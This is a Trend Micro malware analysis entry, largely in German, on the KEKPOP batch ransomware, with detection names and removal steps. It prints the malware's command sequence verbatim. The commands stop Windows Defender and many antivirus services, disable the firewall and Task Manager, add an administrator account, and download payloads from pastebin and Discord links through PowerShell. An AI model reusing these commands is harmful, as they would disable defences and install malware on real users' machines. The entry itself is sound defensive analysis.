Analyse von: Jeffrey Francis Bonaobra   
 Plattform:

Windows

 Risikobewertung (gesamt):
 Schadenspotenzial::
 Verteilungspotenzial::
 reportedInfection:
 Trend Micro Lösungen:
Niedrig
Mittel
Hoch
Kritisch

  • Malware-Typ:
    Ransomware

  • Zerstrerisch?:
    Nein

  • Verschlsselt?:
    Ja

  • In the wild::
    Ja

  Überblick

Infektionsweg: Aus dem Internet heruntergeladen, Fallen gelassen von anderer Malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Löscht Dateien, so dass Programme und Anwendungen nicht ordnungsgemäß ausgeführt werden. Fügt bestimmte Registrierungseinträge hinzu, um den Task-Manager zu deaktivieren. Dies verhindert, dass Benutzer den Malware-Prozess beenden, was normalerweise über den Task-Manager möglich ist.

Deaktiviert Antiviren-Dienste. Dadurch kann diese Malware ihre Routinen ausführen und vermeiden, vom System entfernt zu werden.

  Technische Details

Dateigröße: 82,799 bytes
Dateityp: BAT
Speicherresiden: Ja
Erste Muster erhalten am: 11 Mai 2022
Schadteil: Connects to URLs/IPs, Compromises network security, Compromises system security, Disables services, Modifies system registry, Deletes files, Encrypts files

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Eigenkopien in das betroffene System ein:

  • %User Profile%\{Malware File Name}
  • %Desktop%\{Malware File Name}
  • %User Profile%\Documents\{Malware File Name}
  • %User Profile%\Music\{Malware File Name}
  • %User Profile%\Pictures\{Malware File Name}
  • %User Profile%\Videos\{Malware File Name}
  • %User Profile%\Downloads\{Malware File Name}

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\Desktop unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Schleust die folgenden Dateien ein:

  • %User Profile%\Documents\black.bat → Detected as Trojan.BAT.KEKPOP.THEACBB
  • %Windows%\Confession.bat → malware copy
  • {Encrypted folder}\kekpop.txt
  • %User Profile%\Spdiscord.cmd
  • %User Profile%\mail.vbs → Detected as Worm.VBS.MASSMAIL.YXCEST
  • %User Profile%\Start Menu\Programs\Startup\{Malware File Name}

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Windows% ist der Windows Ordner, normalerweise C:\Windows oder C:\WINNT.)

Fügt die folgenden Prozesse hinzu:

  • attrib +h +s {Malware File Name}
  • powershell -command "Set-ExecutionPolicy Unrestricted"
  • net localgroup administrators session /ADD
  • reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_{random numbers}_toolbar" /t "REG_SZ" /d {Malware File Name} /f
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
  • reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  • RUNDLL32 USER32.DLL SwapMouseButton
  • net stop "WinDefend"
  • taskkill /f /t /im MSASCui.exe
  • net stop "wuauserv"
  • net stop "security center"
  • net stop sharedaccess
  • netsh firewall set opmode mode-disable
  • cmd.exe
  • net stop "Security Center" /y
  • net stop "Automatic Updates" /y
  • net stop "Symantec Core LC" /y
  • net stop "SAVScan" /y
  • net stop "norton AntiVirus Firewall Monitor Service" /y
  • net stop "norton AntiVirus Auto-Protect Service" /y
  • net stop "norton AntiVirus Auto Protect Service" /y
  • net stop "McAfee Spamkiller Server" /y
  • net stop "McAfee Personal Firewall Service" /y
  • net stop "McAfee SecurityCenter Update Manager" /y
  • net stop "Symantec SPBBCSvc" /y
  • net stop "Ahnlab Task Scheduler" /y
  • net stop navapsvc /y
  • net stop "Sygate Personal Firewall Pro" /y
  • net stop vrmonsvc /y
  • net stop MonSvcNT /y
  • net stop SAVScan /y
  • net stop NProtectService /y
  • net stop ccSetMGR /y
  • net stop ccEvtMGR /y
  • net stop srservice /y
  • net stop "Symantec Network Drivers Service" /y
  • net stop "norton Unerase Protection" /y
  • net stop MskService /y
  • net stop MpfService /y
  • net stop mcupdmgr.exe /y
  • net stop "McAfeeAntiSpyware" /y
  • net stop helpsvc /y
  • net stop ERSvc /y
  • net stop "*norton*" /y
  • net stop "*Symantec*" /y
  • net stop "*McAfee*" /y
  • net stop ccPwdSvc /y
  • net stop "Symantec Core LC" /y
  • net stop navapsvc /y
  • net stop "Serv-U" /y
  • net stop "norton AntiVirus Auto Protect Service" /y
  • net stop "norton AntiVirus Client" /y
  • net stop "Symantec AntiVirus Client" /y
  • net stop "norton AntiVirus Server" /y
  • net stop "NAV Alert" /y
  • net stop "Nav Auto-Protect" /y
  • net stop "McShield" /y
  • net stop "DefWatch" /y
  • net stop eventlog /y
  • net stop InoRPC /y
  • net stop InoRT /y
  • net stop InoTask /y
  • net stop "norton AntiVirus Auto Protect Service" /y
  • net stop "norton AntiVirus Client" /y
  • net stop "norton AntiVirus Corporate Edition" /y
  • net stop "ViRobot Professional Monitoring" /y
  • net stop "PC-cillin Personal Firewall" /y
  • net stop "Trend Micro Proxy Service" /y
  • net stop "Trend NT Realtime Service" /y
  • net stop "McAfee.com McShield" /y
  • net stop "McAfee.com VirusScan Online Realtime Engine" /y
  • net stop "SyGateService" /y
  • net stop "Sygate Personal Firewall Pro" /y
  • net stop "Sophos Anti-Virus" /y
  • net stop "Sophos Anti-Virus Network" /y
  • net stop "eTrust Antivirus Job Server" /y
  • net stop "eTrust Antivirus Realtime Server" /y
  • net stop "Sygate Personal Firewall Pro" /y
  • net stop "eTrust Antivirus RPC Server" /y
  • net stop netsvcs
  • net stop spoolnt
  • tskill iexplore
  • tskill msnmsgr
  • tskill excel
  • tskill iTunes
  • tskill calc
  • tskill msaccess
  • tskill safari
  • tskill mspaint
  • tskill outlook
  • tskill WINWORD
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}7i -outfile keklog.cmd
  • xcopy /e /y {Malware File Name} D:\
  • xcopy /e /y {Malware File Name} E:\
  • xcopy /e /y {Malware File Name} F:\
  • xcopy /e /y {Malware File Name} G:\
  • xcopy /e /y {Malware File Name} H:\
  • xcopy /e /y {Malware File Name} %User Profile%\
  • xcopy /e /y {Malware File Name} %Desktop%\
  • xcopy /e /y {Malware File Name} %User Profile%\Documents\
  • xcopy /e /y {Malware File Name} %User Profile%\Music\
  • xcopy /e /y {Malware File Name} %User Profile%\Pictures\
  • xcopy /e /y {Malware File Name} %User Profile%\Videos\
  • xcopy /e /y {Malware File Name} %User Profile%\Downloads\
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}4Y -outfile {random numbers}.cmd
  • net send * "Look out, kekpop is on your network"
  • %System%\WScript.exe %User Profile%\mail.vbs
  • powershell -Command "Invoke-WebRequest https://pastebin.com/raw/{BLOCKED}57 -outfile KekNote.txt
  • powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/{BLOCKED}321876529234/972649723632697404/ReadMe.html', 'ReadMe.html')"
  • %System%\cmd.exe /K Spdiscord.cmd
  • powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/{BLOCKED}839282081852/972379856220348497/kekpopdicord.exe', kekpopdicord.exe')"
  • %System%\cmd.exe KekNote.txt
  • %System%\cmd.exe ReadMe.html

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rundll32_{random numbers}_toolbar = {Malware File Name}

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = C:\Windows\.bat

Schleust die folgenden Dateien in den benutzerspezifischen Autostart-Ordner von Windows ein, um sich selbst bei jedem Systemstart auszuführen.

  • %User Profile%\Start Menu\Programs\Startup\{Malware File Name}

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Andere Systemänderungen

Löscht die folgenden Dateien:

  • %System Root%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
  • %User Profile%\Documents\black.bat

(Hinweis: %System Root% ist der Stammordner, normalerweise C:\. Dort befindet sich auch das Betriebssystem.. %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Registrierungseinträge hinzu, um den Task-Manager zu deaktivieren:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

(Note: The default value data of the said registry entry is 0.)

Verbreitung

Schleust Eigenkopien in die folgenden Laufwerke ein:

  • D:\
  • E:\
  • F:\
  • G:\
  • H:\

Prozessbeendigung

Beendet die folgenden Dienste, wenn sie auf dem betroffenen System gefunden werden:

  • WinDefend
  • wuauserv
  • security center
  • sharedaccess

Beendet Prozesse oder Dienste, die einen oder mehrere dieser Zeichenfolgen enthalten, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

  • iexplore
  • msnmsgr
  • excel
  • iTunes
  • calc
  • msaccess
  • safari
  • mspaint
  • outlook
  • WINWORD
  • MSASCui.exe

Deaktiviert Antiviren-Dienste durch Beenden der folgenden, auf dem betroffenen System gefundenen Dienste:

  • Security Center
  • Automatic Updates
  • Symantec Core LC
  • SAVScan
  • norton AntiVirus Firewall Monitor Service
  • norton AntiVirus Auto-Protect Service
  • norton AntiVirus Auto Protect Service
  • McAfee Spamkiller Server
  • McAfee Personal Firewall Service
  • McAfee SecurityCenter Update Manager
  • Symantec SPBBCSvc
  • Ahnlab Task Scheduler
  • navapsvc
  • Sygate Personal Firewall Pro
  • vrmonsvc
  • MonSvcNT
  • SAVScan
  • NProtectService
  • ccSetMGR
  • ccEvtMGR
  • srservice
  • Symantec Network Drivers Service
  • norton Unerase Protection
  • MskService
  • MpfService
  • mcupdmgr.exe
  • McAfeeAntiSpyware
  • helpsvc
  • ERSvc
  • *norton*
  • *Symantec*
  • *McAfee*
  • ccPwdSvc
  • Symantec Core LC
  • navapsvc
  • Serv-U
  • norton AntiVirus Auto Protect Service
  • norton AntiVirus Client
  • Symantec AntiVirus Client
  • norton AntiVirus Server
  • NAV Alert
  • Nav Auto-Protect
  • McShield
  • DefWatch
  • eventlog
  • InoRPC
  • InoRT
  • InoTask
  • norton AntiVirus Auto Protect Service
  • norton AntiVirus Client
  • norton AntiVirus Corporate Edition
  • ViRobot Professional Monitoring
  • PC-cillin Personal Firewall
  • Trend Micro Proxy Service
  • Trend NT Realtime Service
  • McAfee.com McShield
  • McAfee.com VirusScan Online Realtime Engine
  • SyGateService
  • Sygate Personal Firewall Pro
  • Sophos Anti-Virus
  • Sophos Anti-Virus Network
  • eTrust Antivirus Job Server
  • eTrust Antivirus Realtime Server
  • Sygate Personal Firewall Pro
  • eTrust Antivirus RPC Server
  • netsvcs
  • spoolnt

Download-Routine

Speichert die heruntergeladenen Dateien unter den folgenden Namen:

  • %User Profile%\keklog.cmd → Detected as TrojanSpy.BAT.KEKPOP.THEACBB
  • %User Profile%\(random numbers}.cmd → Detected as Trojan.BAT.KEKPOP.THEACBB
  • %Desktop%\KekNote.txt → Detected as Ransom.BAT.KEKPOP.THEACBB.note
  • %Desktop%\ReadMe.html → Detected as Ransom.HTML.KEKPOP.THEACBB.note
  • %User Profile%\kekpopdicord.exe → Detected as Trojan.Win64.KEKPOP.YXCET

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\Desktop unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Andere Details

Es macht Folgendes:

  • It swaps/reverses the left and right mouse buttons function.
  • It launches 17 command prompt window in a maximized state.
  • It writes the following lines of code to %Windows%\system.ini:
      [boot]
      shell=explorer.exe Confession.bat
  • It writes the following lines of code to %Windows%\win.ini:
      [windows]
      run=%Windows%\Confession.bat
      load=%Windows%\Confession.bat
  • It sends the following message to network computers:
    • "Look out, kekpop is on your network"
  • It avoids encrypting machines with the following username:
    • a.monaldo

(Hinweis: %Windows% ist der Windows Ordner, normalerweise C:\Windows oder C:\WINNT.)

  Lösungen

Mindestversion der Scan Engine: 9.800
Erste VSAPI Pattern-Datei: 17.640.08
Erste VSAPI Pattern veröffentlicht am: 21 Juni 2022
VSAPI OPR Pattern-Version: 17.641.00
VSAPI OPR Pattern veröffentlicht am: 22 Juni 2022

Step 1

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 2

<p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p><p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p>

Step 3

Im abgesicherten Modus neu starten

[ learnMore ]

Step 4

Diesen Registrierungswert löschen

[ learnMore ]

Wichtig: Eine nicht ordnungsgemäße Bearbeitung der Windows Registrierung kann zu einer dauerhaften Fehlfunktion des Systems führen. Führen Sie diesen Schritt nur durch, wenn Sie mit der Vorgehensweise vertraut sind oder wenn Sie Ihren Systemadministrator um Unterstützung bitten können. Lesen Sie ansonsten zuerst diesen Microsoft Artikel, bevor Sie die Registrierung Ihres Computers ändern.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • rundll32_{random numbers}_toolbar = {Malware File Name}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • AVAADA = C:\Windows\.bat
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr = 1

Step 5

Diese Dateien suchen und löschen

[ learnMore ]
Möglicherweise sind einige Komponentendateien verborgen. Aktivieren Sie unbedingt das Kontrollkästchen Versteckte Elemente durchsuchen unter "Weitere erweiterte Optionen", um alle verborgenen Dateien und Ordner in den Suchergebnissen zu berücksichtigen.
  • %User Profile%\Documents\black.bat
  • %Windows%\Confession.bat
  • %User Profile%\keklog.cmd
  • {Encrypted folder}\kekpop.txt
  • %User Profile%\kekpopdicord.exe
  • %User Profile%\Spdiscord.cmd
  • %User Profile%\(random numbers}.cmd
  • %User Profile%\mail.vbs
  • %Desktop%\KekNote.txt
  • %Desktop%\ReadMe.html
  • %User Profile%\Start Menu\Programs\Startup\{Malware File Name}
  • D:\{Malware File Name}
  • E:\{Malware File Name}
  • F:\{Malware File Name}
  • G:\{Malware File Name}
  • H:\{Malware File Name}
  • %User Profile%\{Malware File Name}
  • %Desktop%\{Malware File Name}
  • %User Profile%\Documents\{Malware File Name}
  • %User Profile%\Music\{Malware File Name}
  • %User Profile%\Pictures\{Malware File Name}
  • %User Profile%\Videos\{Malware File Name}
  • %User Profile%\Downloads\{Malware File Name}
DATA_GENERIC_FILENAME_1
  • Wählen Sie im Listenfeld lt;i>Suchen in die Option Arbeitsplatz, und drücken Sie die Eingabetaste.
  • Markieren Sie die gefundene Datei, und drücken Sie UMSCHALT+ENTF, um sie endgültig zu löschen.
  • Wiederholen Sie die Schritte 2 bis 4 für die übrigen Dateien:
      • %User Profile%\Documents\black.bat
      • %Windows%\Confession.bat
      • %User Profile%\keklog.cmd
      • {Encrypted folder}\kekpop.txt
      • %User Profile%\kekpopdicord.exe
      • %User Profile%\Spdiscord.cmd
      • %User Profile%\(random numbers}.cmd
      • %User Profile%\mail.vbs
      • %Desktop%\KekNote.txt
      • %Desktop%\ReadMe.html
      • %User Profile%\Start Menu\Programs\Startup\{Malware File Name}
      • D:\{Malware File Name}
      • E:\{Malware File Name}
      • F:\{Malware File Name}
      • G:\{Malware File Name}
      • H:\{Malware File Name}
      • %User Profile%\{Malware File Name}
      • %Desktop%\{Malware File Name}
      • %User Profile%\Documents\{Malware File Name}
      • %User Profile%\Music\{Malware File Name}
      • %User Profile%\Pictures\{Malware File Name}
      • %User Profile%\Videos\{Malware File Name}
      • %User Profile%\Downloads\{Malware File Name}

    • Step 6

    Führen Sie den Neustart im normalen Modus durch, und durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt nach Dateien, die als Ransom.BAT.KEKPOP.THEAABB entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.

    Step 7

    Restore encrypted files from backup.


    Nehmen Sie an unserer Umfrage teil